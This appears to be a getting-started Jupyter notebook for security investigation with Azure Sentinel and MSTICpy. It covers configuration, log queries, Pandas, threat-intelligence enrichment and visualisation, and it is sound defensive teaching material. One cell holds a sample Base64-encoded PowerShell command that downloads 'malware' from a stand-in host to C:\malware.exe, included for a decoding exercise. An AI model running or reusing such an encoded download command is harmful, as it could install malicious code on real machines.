Notebooks and Azure Sentinel\n", - "**Notebook Version:** 1.0
\n", - " **Python Version:** Python 3.6 (including Python 3.6 - AzureML)
\n", - " **Required Packages**:
\n", - " **Platforms Supported**:\n", - " - Azure Notebooks Free Compute\n", - " - Azure Notebooks DSVM\n", - " - OS Independent\n", - "\n", - "**Data Sources Required**:\n", - " - Log Analytics - SiginLogs (Optional)\n", - " - VirusTotal\n", - " - MaxMind\n", - " \n", - " \n", - "This notebook takes you through the basics needed to get started with Azure Notebooks and Azure Sentinel, and how to perform the basic actions of data acquisition, data enrichment, data analysis, and data visualization. These actions are the building blocks of threat hunting with notebooks and are useful to understand before running more complex notebooks. This notebook only lightly covers each topic but includes 'learn more' sections to provide you with the resource to deep dive into each of these topics. \n", - "\n", - "This notebook assumes that you are running this in an Azure Notebooks environment, however it will work in other Jupyter environments.\n", - "\n", - "**Note:**\n", - "This notebooks uses SigninLogs from your Azure Sentinel Workspace. If you are not yet collecting SigninLogs configure this connector in the Azure Sentinel portal before running this notebook.\n", - "This notebook also uses the VirusTotal API for data enrichment, for this you will require an API key which can be obtained by signing up for a free [VirusTotal community account](\"https://www.virustotal.com/gui/join-us\")\n" - ] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "---\n", - "## What is a Jupyter notebook?\n", - "You are currently reading a Jupyter notebook. [Jupyter](http://jupyter.org/) is an interactive development and data manipulation environment presented in a browser. Using Jupyter you can create documents, called Notebooks. These documents are made up of cells that contain interactive code, alongside that code's output, and other items such as text and images (what you are looking at now is a cell of Markdown text).\n", - "\n", - "The name, Jupyter, comes from the core supported programming languages that it supports: Julia, Python, and R. Whilst you can use any of these languages we are going to use Python in this notebook, in addition the notebooks that come with Azure Sentinel are all written in Python. Whilst there are pros, and cons to each language Python is a well-established language that has a large number of materials and libraries well suited for data analysis and security investigation, making it ideal for our needs.\n", - "\n", - "### Learn more:\n", - " - The [Infosec Jupyter Book](\"https://infosecjupyterbook.com/introduction.html\") has more details on the technical working of Jupyter.\n", - " - [The Jupyter Project documentation](\"https://jupyter.org/documentation\")\n", - "\n", - "---\n", - "## How to use a Jupyter notebook?\n", - "To use a Jupyter notebook you need a Jupyter server that will render the notebook and execute the code within it. This can take the form of a local [Jupyter installation](https://pypi.org/project/jupyter/), or a remotely hosted version such as [Azure Notebooks](https://notebooks.azure.com/). If you are reading this it is highly likely that you already have a Jupyter server that this notebook is using.\n", - "You can learn more about installing and running your own Jupyter server [here](https://realpython.com/jupyter-notebook-introduction/).\n", - "\n", - "### Using Azure Notebooks\n", - "If you accessed this notebook from Azure Sentinel, you are probably using Azure Notebooks to run this notebook. Azure Notebooks runs in the same way that a local Jupyter server with, except with the additional feature of integrated project management and file storage. When you open a notebook in Azure Notebooks the user interface is nearly identical to a standard Jupyter notebook experience.\n", - "\n", - "Before you can start running code in a notebook you need to make sure that it is connected to a Jupyter server and you have the correct type of kernel configured. For this notebook we are going to be using Python 3.6, hopefully Azure Notebooks has already loaded this kernel for you - you can check this by looking at the top left corner of the screen where you should see the currently connected kernel. \n", - "\n", - "![KernelIssue](./images/nb_img1.png)\n", - "\n", - "If this does not read Python 3.6 you can select the correct kernel by selecting Kernel > Change kernel from the top menu and clicking Python 3.6.\n", - "\n", - "> **Note**: the notebook works with Python 3.6, 3.7 or later. If you are using this notebook in Azure ML or another Jupyter environment you can choose any kernel that supports Python 3.6 or later\n", - "\n", - "![KernelPicker](./images/nb_img2.png)\n", - "\n", - "Once you have done this you should be ready to move onto a code cell.\n", - "> **Tip**: You can identify which cells are code by selecting them and looking at the drop down box at the center of the top menu. It will either read 'Code' (for interactive code cells), 'Markdown' (for Markdown text cells like this one), or RawNBConvert (these are just raw data and not interpreted by Jupyter - they can be used by tools that process notebook files, such as *nbconvert* to render the data into HTML or LaTeX). \n", - "\n", - "If you click on the cell below you should see this box change to 'Code'.\n", - "\n", - "### Learn More:\n", - "More details on Azure Notebooks can be found in the [Azure Notebooks documentation](https://docs.microsoft.com/en-us/azure/notebooks/) and the [Azure Sentinel documentation](https://docs.microsoft.com/en-us/azure/sentinel/notebooks).\n", - "\n", - "---\n", - "## Running code\n", - "Once you have selected a code cell you can run it by clicking the run button at the menu bar at the top, or by pressing Ctrl+Enter.\n" - ] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "# This is our first code cell, it contains basic Python code.\n", - "# You can run a code cell by selecting it and clicking the Run button in the top menu, or by pressing Shift + Enter.\n", - "# Once you run a code cell any output from that code will be displayed directly below it.\n", - "print(\"Congratulations you just ran this code cell\")\n", - "y = 2+2\n", - "print(\"2 + 2 =\", y)" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "Variables set within a code cell persist between cells meaning you can chain cells together" - ] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "y + 2" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "### Learn More : \n", - " - The [Infosec Jupyter Book](\"https://infosecjupyterbook.com/\") provides an infosec specific intro to Python.\n", - " - [Real Pyhton](\"https://realpython.com/\") is a comprehensive set of Python learnings and tutorials.\n", - "
\n", - "
" - ] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "Now that you understand the basics we can move onto more complex code.\n", - "\n", - "---\n", - "## Setting up the environment\n", - "Code cells behave in the same way your code would in other environments, so you need to remember about common coding practices such as variable initialization and library imports. \n", - "Before we execute more complex code we need to make sure the required packages are installed and libraries imported. At the top of many of the Azure Sentinel notebooks you will see large cells that will check kernel versions and then install and import all the libraries we are going to be using in the notebook, make sure you run this before running other cells in the notebook.\n", - "If you are running notebooks locally or via dedicated compute in Azure Notebooks library installs will persist but this is not the case with Azure Notebooks free tier, so you will need to install each time you run. Even if running in a static environment imports are required for each run so make sure you run this cell regardless." - ] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "from pathlib import Path\n", - "import os\n", - "import sys\n", - "import warnings\n", - "from IPython.display import display, HTML, Markdown\n", - "\n", - "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 6, 0)\n", - "\n", - "display(HTML(\"

Starting Notebook setup...

\"))\n", - "# If you did not clone the entire Azure-Sentinel-Notebooks repo you may not have this file\n", - "if Path(\"./utils/nb_check.py\").is_file():\n", - " from utils.nb_check import check_python_ver, check_mp_ver\n", - "\n", - " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n", - " try:\n", - " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", - " except ImportError:\n", - " !pip install --user --upgrade msticpy\n", - " if \"msticpy\" in sys.modules:\n", - " importlib.reload(sys.modules[\"msticpy\"])\n", - " else:\n", - " import msticpy\n", - " check_mp_ver(MSTICPY_REQ_VERSION)\n", - " \n", - "from msticpy.nbtools import nbinit\n", - "nbinit.init_notebook(\n", - " namespace=globals(),\n", - " extra_imports=[\"ipwhois, IPWhois, pyyaml\"]\n", - ")" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "---\n", - "## Configuration\n", - "Once we have set up our Jupyter environment with the libraries that we'll use in the notebook, we need to make sure we have some configuration in place. Some of the notebook components need addtional configuration to connect to external services (e.g. API keys to retrieve Threat Intelligence data). This includes configuration for connection to our Azure Sentinel workspace, as well as some threat intelligence providers we will use later.\n", - "The easiest way to handle the configuration for these services is to store them in a msticpyconfig file (`msticpyconfig.yaml`). More details on msticpyconfig can be found here: https://msticpy.readthedocs.io/en/latest/getting_started/msticpyconfig.html\n", - "\n", - "### Learn more: \n", - "- In this notebook we will setup the basic config we need to get started. If you need a more complete walk-through we have a separate notebook to help you: https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb\n", - "
\n", - "
" - ] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "The Azure-Sentinel-Notebooks GitHub repo contains an template msticpyconfig file ready to be populated. If you have run this notebook before you may have a msticpyconfig file already populated, the cell below allows you to checks if this file. If your config file does not contain details under Azure Sentinel > Workspaces, or TIProviders the following cells will populate these for you.
\n", - "If you want to see an example of what a populated msticpyconfig file should look like a samples is included in the repo as msticpyconfig-sample.yaml." - ] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "%pfile msticpyconfig.yaml" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "If you do not have and msticpyconfig file we can populate one for you. Before you do this you will need a few things.\n", - "\n", - "The first is the Workspace ID and Tenant ID of the Azure Sentinel Workspace you wish to connect to.\n", - "\n", - " - You can get the workspace ID by opening Azure Sentinel in the [Azure Portal](\"https://portal.azure.com\") and selecting Settings > Workspace Settings. Your Workspace ID is displayed near the top of this page.\n", - "\n", - "- You can get your tenant ID (also referred to organization or directory ID) via [Azure Active Directory](\"https://docs.microsoft.com/en-us/onedrive/find-your-office-365-tenant-id\")\n", - "\n", - "We are going to use [VirusTotal](\"https://www.virustotal.com\") to enrich our Azure Sentinel data. For this you will need a VirusTotal API key, one of these can be obtained for free (as a personnal key) via the [VirusTotal](\"https://developers.virustotal.com/v3.0/reference#getting-started\") website.\n", - "We are using VirusTotal for this notebook but we also support a range of other threat intelligence providers: https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html\n", - "

\n", - "In addition we are going to plot IP address locations on a map, in order to do this we are going to use [MaxMind](\"https://www.maxmind.com\") to geolocate IP addresses which requires an API key. You can sign up for a free account and API key at https://www.maxmind.com/en/geolite2/signup. \n", - "

\n", - "Once you have these required items run the cell below and you will prompted to enter these elements:" - ] - }, - { - "metadata": { - "trusted": true, - "scrolled": true - }, - "cell_type": "code", - "source": [ - "ws_id = nbwidgets.GetEnvironmentKey(env_var='WORKSPACE_ID',\n", - " prompt='Please enter your Log Analytics Workspace Id:', auto_display=True)\n", - "ten_id = nbwidgets.GetEnvironmentKey(env_var='TENANT_ID',\n", - " prompt='Please enter your Log Analytics Tenant Id:', auto_display=True)\n", - "vt_key = nbwidgets.GetEnvironmentKey(env_var='VT_KEY',\n", - " prompt='Please enter your VirusTotal API Key:', auto_display=True)\n", - "mm_key = nbwidgets.GetEnvironmentKey(env_var='MM_KEY',\n", - " prompt='Please enter your MaxMind API Key:', auto_display=True)" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - " The cell below will now populate a msticpyconfig file with these values:" - ] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "import yaml\n", - "with open(\"msticpyconfig.yaml\") as config:\n", - " data = yaml.load(config, Loader=yaml.Loader)\n", - "data['AzureSentinel']\n", - "\n", - "workspace = {\"Default\":{\"WorkspaceId\": ws_id.value, \"TenantId\": ten_id.value}}\n", - "ti = {\"VirusTotal\":{\"Args\": {\"AuthKey\" : vt_key.value}, \"Primary\" : True, \"Provider\": \"VirusTotal\"}}\n", - "other_prov = {\"GeoIPLite\" : {\"Args\" : {\"AuthKey\" : mm_key.value, \"DBFolder\" : \"~/msticpy\"}, \"Provider\" : \"GeoLiteLookup\"}}\n", - "data['AzureSentinel']['Workspaces'] = workspace\n", - "data['TIProviders'] = ti\n", - "data['OtherProviders'] = other_prov\n", - "\n", - "with open(\"msticpyconfig.yaml\", 'w') as config:\n", - " yaml.dump(data, config)\n", - " \n", - "print(\"msticpyconfig.yaml updated\")" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "We can now validate our configuration is correct." - ] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "from msticpy.common.pkg_config import refresh_config, validate_config\n", - "refresh_config()\n", - "validate_config()" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "> **Note** you may see warnings for missing providers when running this cell.\n", - "> This is not an issue as we will not be using all providers in this notebook\n", - "> so long as you get thie message \"No errors found.\" you are OK to proceed.\n" - ] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "---\n", - "## Getting Data\n", - "Now that we have configured the details necessary to connect to Azure Sentinel we can go ahead and get some data. We will do this with `QueryProvider()` from MSTICpy. \n", - "You can use the `QueryProvider` class to connect to different data sources such as MDATP, the Security Graph API, and the one we will use here, Azure Sentinel. \n", - "\n", - "### Learn more:\n", - " - More details on configuring and using QueryProviders can be found in the [MSTICpy Documentation](\"https://msticpy.readthedocs.io/en/latest/data_acquisition/DataProviders.html#instantiating-a-query-provider\").\n", - "

" - ] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "For now, we are going to set up a QueryProvider for Azure Sentinel, pass it the details for our workspace that we just stored in the msticpyconfig file, and connect. The connection process will ask us to authenticate to our Azure Sentinel workspace via [device authorization](\"https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-device-code\") with our Azure credentials. You can do this by clicking the device login code button that appears as the output of the next cell, or by navigating to https://microsoft.com/devicelogin and manually entering the code. Note that this authentication persists with the kernel you are using with the notebook, so if you restart the kernel you will need to re-authenticate.\n" - ] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "# Initalize a QueryProvider for Azure Sentinel\n", - "qry_prov = QueryProvider(\"LogAnalytics\")\n", - "\n", - "# Get the Azure Sentinel workspace details from msticpyconfig\n", - "try:\n", - " ws_config = WorkspaceConfig()\n", - " md(\"Workspace details collected from config file\")\n", - "except:\n", - " raise(\"No workspace settings are configured, please run the cells above to configure these.\")\n", - " \n", - "# Connect to Azure Sentinel with our QueryProvider and config details\n", - "# ws_config.code_connect_str is a feature of MSTICpy that creates the required connection string from details in our msticpyconfig\n", - "qry_prov.connect(connection_str=ws_config.code_connect_str)" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "Now that we have connected we can query Azure Sentinel for data, but before we do that we need to understand what data is avalaible to query. The QueryProvider object provides a way to get a list of tables as well as tables and table columns:" - ] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "# Get list of tables in our Workspace\n", - "display(qry_prov.schema_tables [:5]) # We are outputting only the first 5 tables for brevity\n", - "# Get list of tables and thier columns\n", - "qry_prov.schema['SigninLogs'] # We are only displaying the columns for SigninLogs for brevity" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "MSTICpy includes a number of built in queries that you can run.
\n", - "You can list available queries with .list_queries() and get specific details about a query by calling it with \"?\" as a parameter" - ] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "# Get a list of avaliable queries\n", - "qry_prov.list_queries()" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "# Get details about a query\n", - "qry_prov.Azure.list_all_signins_geo(\"?\")" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "You can then run the query by calling it with the required parameters:" - ] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "from datetime import datetime, timedelta\n", - "# set our query end time as now\n", - "end = datetime.now()\n", - "# set our query start time as 1 hour ago\n", - "start = end - timedelta(hours=1)\n", - "# run query with specified start and end times\n", - "logons_df = qry_prov.Azure.list_all_signins_geo(start=start, end=end)\n", - "# display first 5 rows of any results\n", - "logons_df.head() # If you have no data you will just see the column headings displayed" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "Another way to run queries is to pass a string format of a KQL query to the query provider, this will run the query against the workspace connected to above, and will return the data in a [Pandas DataFrame](\"https://pandas.pydata.org/\"). We will look at working with Pandas in a bit more detail later." - ] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "# Define our query\n", - "test_query = \"\"\"\n", - "SigninLogs\n", - "| where TimeGenerated > ago(7d)\n", - "| take 10\n", - "\"\"\"\n", - "\n", - "# Pass that query to our QueryProvider\n", - "test_df = qry_prov.exec_query(test_query)\n", - "\n", - "# Check that we have some data\n", - "if isinstance(test_df, pd.DataFrame) and not test_df.empty:\n", - " # .head() returns the first 5 rows of our results DataFrame\n", - " display(test_df.head())\n", - "# If where is no data load some sample data to use instead\n", - "else:\n", - " md(\"You don't appear to have any SigninLogs - we will load sample data for you to use.\")\n", - " qry_prov = QueryProvider(\"LocalData\", data_paths=[\"nbdemo/data/\"], query_paths=[\"nbdemo/data/\"])\n", - " logons_df = qry_prov.Azure.list_all_signins_geo()\n", - " display(logons_df.head())" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "### Learn more:\n", - " - You can learn more about the MSTICpy pre-defined queries in the [MSTICpy Documentation](\"https://msticpy.readthedocs.io/en/latest/data_acquisition/DataProviders.html#running-an-pre-defined-queryl\")" - ] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "---\n", - "## Pandas\n", - "Our query results are returned in the form of a Pandas DataFrame. DataFrames are a core component of the Azure Sentinel notebooks and of MSTICpy and is used for both input and output formats.\n", - "Pandas DataFrames are incredibly versitile data structures with a lot of useful features, we will cover a small number of them here and we recommend that you check out the Learn more section to learn more about Pandas features.\n", - "
\n", - "
\n", - "### Displaying a DataFrame:\n", - "The first thing we want to do is display our DataFrame. You can either just run it or explicity display it by calling `display(df)`." - ] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "# For this section we are going to create a DataFrame from data we have saved in a csv file\n", - "df = pd.read_csv(\"https://raw.githubusercontent.com/microsoft/msticpy/master/tests/testdata/host_logons.csv\", index_col=[0] )\n", - "# Display our DataFrame\n", - "df # or display(df)" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "> **Note** if the dataframe variable (`df` in the example above) is the last statement in a \n", - "> code cell, Jupyter will automatically display it without using the `display()` function. \n", - "> However, if you want to display a DataFrame in the middle of \n", - "> other code in a cell you must use the `display()` function.\n", - "\n", - "You may not want to display the whole DataFrame and instead display only a selection of items. There are numerous ways to do this and the cell below shows some of the most widely used functions." - ] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "md(\"Display the first 2 rows using head(): \", \"bold\")\n", - "display(df.head(2)) # we don't need to call display here but just for illustration" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "md(\"Display the 3rd row using iloc[]: \", \"bold\")\n", - "df.iloc[3]" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "md(\"Show the column names in the DataFrame \", \"bold\")\n", - "df.columns" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "md(\"Display just the TimeGenerated and TenantId columnns: \", \"bold\")\n", - "df[[\"TimeGenerated\", \"TenantId\"]]" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "We can also choose to select a subsection of our DataFrame based on the contents of the DataFrame:\n", - "\n", - "> **Tip**: the syntax in these examples is using a technique called *boolean indexing*. \n", - ">
`df[]`\n", - "> returns all rows in the dataframe where the boolean expression is True\n", - ">
In the first example we telling pandas to return all rows where the column value of\n", - "> 'TargetUserName' matches 'MSTICAdmin'" - ] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "md(\"Display only rows where TargetUserName value is 'MSTICAdmin': \", \"bold\")\n", - "df[df['TargetUserName']==\"MSTICAdmin\"]" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "md(\"Display rows where TargetUserName is either MSTICAdmin or adm1nistratror:\", \"bold\")\n", - "display(df[df['TargetUserName'].isin(['adm1nistrator', 'MSTICAdmin'])])" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "Our DataFrame call also be extended to add new columns with additional data if reqired:" - ] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "df[\"NewCol\"] = \"Look at my new data!\"\n", - "display(df[[\"TenantId\",\"Account\", \"TimeGenerated\", \"NewCol\"]].head(2))" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "### Learn more:\n", - "There is a lot more you can do with Pandas, the links below provide some useful resources:\n", - " - [Getting starting with Pandas](\"https://pandas.pydata.org/pandas-docs/stable/getting_started/index.html\")\n", - " - [Infosec Jupyerbook intro to Pandas](\"https://infosecjupyterbook.com/notebooks/tutorials/03_intro_to_pandas.html\")\n", - " - [A great list of Pandas hints and tricks](\"https://www.dataschool.io/python-pandas-tips-and-tricks/\")" - ] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "---\n", - "## Enriching data\n", - "\n", - "Now that we have seen how to query for data, and do some basic manipulation we can look at enriching this data with additional data sources. For this we are going to use an external threat intelligence provider to give us some more details about an IP address we have in our dataset using the [MSTICpy TIProvider](\"https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html\") feature." - ] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "from datetime import datetime, timedelta\n", - "# Check if we have logon data already and if not get some\n", - "if not isinstance(logons_df, pd.DataFrame) or logons_df.empty:\n", - " # set our query end time as now\n", - " end = datetime.now()\n", - " # set our query start time as 1 hour ago\n", - " start = end - timedelta(days=1)\n", - " # run query with specified start and end times\n", - " logons_df = qry_prov.Azure.list_all_signins_geo(start=start, end=end)\n", - " \n", - "# Create our TI provider\n", - "ti = TILookup()\n", - "# Get the first logon IP address from our dataset\n", - "ip = logons_df.iloc[1]['IPAddress']\n", - "# Look up the IP in VirusTotal\n", - "ti_resp = ti.lookup_ioc(ip, providers=[\"VirusTotal\"])\n", - "\n", - "# Format our results as a DataFrame\n", - "ti_resp = ti.result_to_df(ti_resp)\n", - "display(ti_resp)" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "Using the [Pandas apply()](\"https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.apply.html\") feature we can get results for all the IP addresses in our data set and add the lookup severity score as a new column in our DataFrame for easier reference." - ] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "# Take the IP address in each row, look it up against TI and return the seveirty score\n", - "def lookup_res(row):\n", - " ip = row['IPAddress']\n", - " resp = ti.lookup_ioc(ip, providers=[\"VirusTotal\"])\n", - " resp = ti.result_to_df(resp)\n", - " return resp[\"Severity\"].iloc[0]\n", - "\n", - "# Take the first 3 rows of data and copy they into a new DataFrame\n", - "enrich_logons_df = logons_df.iloc[:3].copy()\n", - "# Create a new column called TIRisk and populate that with the TI severity score of the IP Address in that row\n", - "enrich_logons_df['TIRisk'] = enrich_logons_df.apply(lookup_res, axis=1)\n", - "# Display a subset of columns from our DataFrame\n", - "enrich_logons_df[[\"TimeGenerated\", \"ResultType\", \"UserPrincipalName\", \"IPAddress\", \"TIRisk\"]]" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "### Learn more:\n", - "MSTICpy includes further threat intelligence capabilities as well as other data enrichment options. More details on these can be found in the [documentation](\"https://msticpy.readthedocs.io/en/latest/DataEnrichment.html\")." - ] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "---\n", - "## Analyzing data\n", - "With the data we have collected we may wish to perform some analysis on it in order to better understand it. MSTICpy includes a number of features to help with this, and there are a vast array of other data analysis capabilities available via Python ranging from simple processes to complex ML models. We will start here by keeping it simple and look at how we can decode some Base64 encoded command line strings we have in order to allow us to understand their content." - ] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "from msticpy.sectools import base64unpack as b64\n", - "# Take our encoded Powershell Command\n", - "b64_cmd = \"powershell.exe -encodedCommand SW52b2tlLVdlYlJlcXVlc3QgaHR0cHM6Ly9jb250b3NvLmNvbS9tYWx3YXJlIC1PdXRGaWxlIEM6XG1hbHdhcmUuZXhl\"\n", - "# Unpack the Base64 encoded elements\n", - "unpack_txt = b64.unpack(input_string=b64_cmd)\n", - "# Display our results and transform for easier reading\n", - "unpack_txt[1].T" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "We can also use MSTICpy to extract Indicators of Compromise (IoCs) from a dataset, this makes it easy to extract and match on a set of IoCs within our data. In the example below we take a US Cybersecurity & Infrastructure Security Agency (CISA) report and extract all domains listed in the report:" - ] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "import requests\n", - "# Set up our IoCExtract oject\n", - "ioc_extractor = iocextract.IoCExtract()\n", - "# Download our threat report\n", - "data = requests.get(\"https://www.us-cert.gov/sites/default/files/publications/AA20-099A_WHITE.stix.xml\")\n", - "# Extract domains listed in our report\n", - "iocs = ioc_extractor.extract(data.text, ioc_types=\"dns\")['dns']\n", - "# Display the first 5 iocs found in our report\n", - "list(iocs)[:5]" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "### Learn more:\n", - "There are a wide range of options when it comes to data analysis in notebooks using Python. Here are some useful resources to get you started:\n", - " - [MSITCpy DataAnalysis documentation](\"https://msticpy.readthedocs.io/en/latest/DataAnalysis.html\")\n", - " - Scikit-Learn is a popular Python ML data analysis library, which has a useful [tutorial](\"https://scikit-learn.org/stable/tutorial/basic/tutorial.html\")" - ] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "---\n", - "## Visualizing data\n", - "Visualizing data can provide an excellent way to analyse data, identify patterns and anomalies. Python has a wide range of data visualization capabilities each of which have thier own benefits and drawbacks. We will look at some basic capabilities as well as the in-build visualizations in MSTICpy.\n", - "


\n", - "**Basic Graphs**
\n", - "Pandas and Matplotlib provide the easiest and simplest way to produce simple plots of data:" - ] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "vis_q = \"\"\"\n", - "SigninLogs\n", - "| where TimeGenerated > ago(7d)\n", - "| sample 5\"\"\"\n", - "\n", - "# Try and query for data but if using sample data load that instead\n", - "try:\n", - " vis_data = qry_prov.exec_query(vis_q)\n", - "except FileNotFoundError:\n", - " vis_data = logons_df\n", - "\n", - "# Check we have some data in our results and if not use previously used dataset\n", - "if not isinstance(vis_data, pd.DataFrame) or vis_data.empty:\n", - " vis_data = logons_df\n", - "\n", - "# Plot up to the first 5 IP addresses\n", - "vis_data.head()['IPAddress'].value_counts().plot.bar(title=\"IP prevelence\", legend=False)\n" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "pie_df = vis_data.copy()\n", - " # If we have lots of data just plot the first 5 rows\n", - "pie_df.head()['IPAddress'].value_counts().plot.pie(legend=True)" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "[Bokeh](\"https://bokeh.org/\") is a powerful visualization library that allows you to create complex, interactive visualizations. MSTICpy includes a number of pre-built visualizations using Bokeh including a timeline feature that can be used to represent events over time. You can interact with the timeline by zooming and panning, using the range selector, as well as hovering over data points to see more details." - ] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "from datetime import datetime, timedelta\n", - "# Check if we have logon data already and if not get some\n", - "if not isinstance(logons_df, pd.DataFrame) or logons_df.empty:\n", - " # set our query end time as now\n", - " end = datetime.now()\n", - " # set our query start time as 1 hour ago\n", - " start = end - timedelta(days=1)\n", - " # run query with specified start and end times\n", - " logons_df = qry_prov.Azure.list_all_signins_geo(start=start, end=end)\n", - " \n", - "display(timeline.display_timeline(logons_df.head(10), source_columns=[\"TimeGenerated\", \"ResultType\", \"UserPrincipalName\", \"IPAddress\"], group_by=\"AppDisplayName\"))" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "MSTICpy also includes a feature to allow you to map locations, this can be particularily useful when looking at the distribution of remote network connections or other events. Below we plot the locations of remote logons observed in our Azure AD data." - ] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [ - "from msticpy.sectools.ip_utils import convert_to_ip_entities\n", - "from msticpy.nbtools.foliummap import FoliumMap, get_map_center\n", - "\n", - "# Convert our IP addresses in string format into an ip address entity\n", - "ip_entity = entityschema.IpAddress()\n", - "ip_list = [convert_to_ip_entities(i)[0] for i in logons_df['IPAddress'].head(10)]\n", - " \n", - "# Get center location of all IP locaitons to center the map on\n", - "location = get_map_center(ip_list)\n", - "logon_map = FoliumMap(location=location, zoom_start=4)\n", - "\n", - "# Add location markers to our map and dsiplay it\n", - "if len(ip_list) > 0:\n", - " logon_map.add_ip_cluster(ip_entities=ip_list)\n", - "display(logon_map.folium_map)" - ], - "execution_count": null, - "outputs": [] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "### Learn more:\n", - " - The [Infosec Jupyterbook](\"https://infosecjupyterbook.com/\") includes a section on data visualization.\n", - " - [Bokeh Library Documentation](\"https://bokeh.org/\")\n", - " - [Matplotlib tutorial](\"https://matplotlib.org/3.2.0/tutorials/index.html\")\n", - " - [Seaborn visualization library tutorial](\"https://seaborn.pydata.org/tutorial.html\")" - ] - }, - { - "metadata": {}, - "cell_type": "markdown", - "source": [ - "---\n", - "## Conclusion\n", - "This notebook has showed you the basics of using notebooks and Azure Sentinel for security investigaitons. There are many more things possible using notebooks and it is stronly encouraged to read the 